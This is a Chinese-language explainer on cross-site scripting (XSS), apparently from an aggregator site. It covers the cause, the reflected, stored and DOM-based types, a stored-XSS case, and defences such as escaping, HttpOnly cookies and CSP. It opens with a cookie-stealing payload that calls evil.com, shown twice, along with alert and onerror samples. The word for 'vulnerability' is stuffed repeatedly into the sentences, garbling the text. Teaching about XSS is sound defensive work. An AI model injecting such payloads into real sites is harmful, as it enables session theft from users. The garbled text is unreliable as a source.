您的当前位置:首页 > 探索 > 什么是xss漏洞 正文

什么是xss漏洞

时间:2026-10-17 04:35:52 来源:网络整理 编辑:探索

核心提示

一个论坛的搜索框里,有人输入了这样一串字符:<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

一个论坛的漏洞搜索框里,有人输入了这样一串字符:<script>fetch('https://evil.com/steal?漏洞c='+document.cookie)</script>。回车之后,漏洞这段代码没有被当作搜索词处理,漏洞反而被浏览器当成了真正的漏洞脚本执行——用户的登录凭证就这样被打包发送到了攻击者的服务器上。这就是漏洞XSS漏洞最经典的画面:你输入的内容,变成了别人浏览器里运行的漏洞代码。

XSS全称Cross-Site Scripting,漏洞跨站脚本。漏洞名字里带“跨站”,漏洞是漏洞因为攻击者的脚本“跨”过了站点的边界,从受害者访问的漏洞页面里跑了出去。但脚本本身并不跨站,漏洞它就嵌在你正在浏览的漏洞那个页面里。浏览器分不清这段<script>是漏洞网站开发者写的,还是攻击者塞进来的——对它来说,都是页面的一部分,都该执行。

这种漏洞的根源在于一个信任错位:网站把用户输入的内容直接拼进了HTML页面,而浏览器又把页面里的所有代码都当作可信的。比如一个搜索页面,URL是/search?q=关键词,服务端把“关键词”原样写进HTML:<p>您搜索的是:关键词</p>。如果“关键词”是<script>alert(1)</script>,那页面就变成了<p>您搜索的是:<script>alert(1)</script></p>。浏览器解析到<script>标签,弹出一个对话框。这只是最无害的演示。换成窃取Cookie、伪造请求、篡改页面内容的代码,就是真实的攻击。

XSS通常被分成三类,但分类本身没那么重要,重要的是理解它们发生的不同位置。反射型XSS,恶意代码藏在URL参数里,服务器把它“反射”回页面,用户得点击一个特制链接才会触发。存储型XSS更麻烦,恶意代码被存进了数据库——比如一条评论、一个昵称、一份个人简介——之后每个访问该页面的用户都会中招,不需要任何额外操作。还有DOM型XSS,服务器端甚至没碰过那段数据,是前端JavaScript从URL里读取内容后,又用innerHTML之类的方法写回了页面,漏洞完全发生在浏览器里。

我见过一个真实的案例:某电商平台的商品评价区,有人提交了一条包含<img src=x onerror=...>的评价。这个评价被存储下来,之后每一个打开该商品页面的用户,浏览器都会尝试加载那个不存在的图片,触发onerror事件,执行里面的代码。代码做了一件事:把用户的登录Token发到攻击者控制的服务器。整个过程用户毫无感知,页面看起来完全正常。这就是存储型XSS的典型杀伤力——一次注入,持续收割。

防御XSS的核心思路只有一个:永远不要信任用户输入的内容,在它进入HTML之前进行转义。把<变成<,把>变成>,把引号也处理掉。这样浏览器看到的就是纯文本,而不是标签。不同的输出位置需要不同的转义规则——HTML标签内、HTML属性内、JavaScript代码块内、CSS样式内,规则各不相同。很多框架已经内置了这些处理,比如React默认就会转义JSX里的变量,Vue的模板插值也会自动转义。但框架不是万能的,用dangerouslySetInnerHTML或者v-html的时候,防护就失效了。

还有一个经常被忽略的点:HttpOnly Cookie。给敏感Cookie加上这个标记,JavaScript就读取不到它,即使XSS漏洞存在,攻击者也偷不走会话凭证。Content Security Policy(CSP)则是另一层防线,通过HTTP头告诉浏览器只允许执行来自特定来源的脚本,内联脚本一律拒绝。这两样东西不能修复XSS漏洞本身,但能大幅降低漏洞被利用后的损失。

说到底,XSS不是浏览器或某个框架的缺陷,而是开发者对“数据”和“代码”边界的一次误判。用户输入的是数据,你把它当代码执行了,漏洞就出现了。每次把用户内容拼进页面的时候,多问一句:这段东西会不会被当成代码?如果答案是“可能会”,那就该转义了。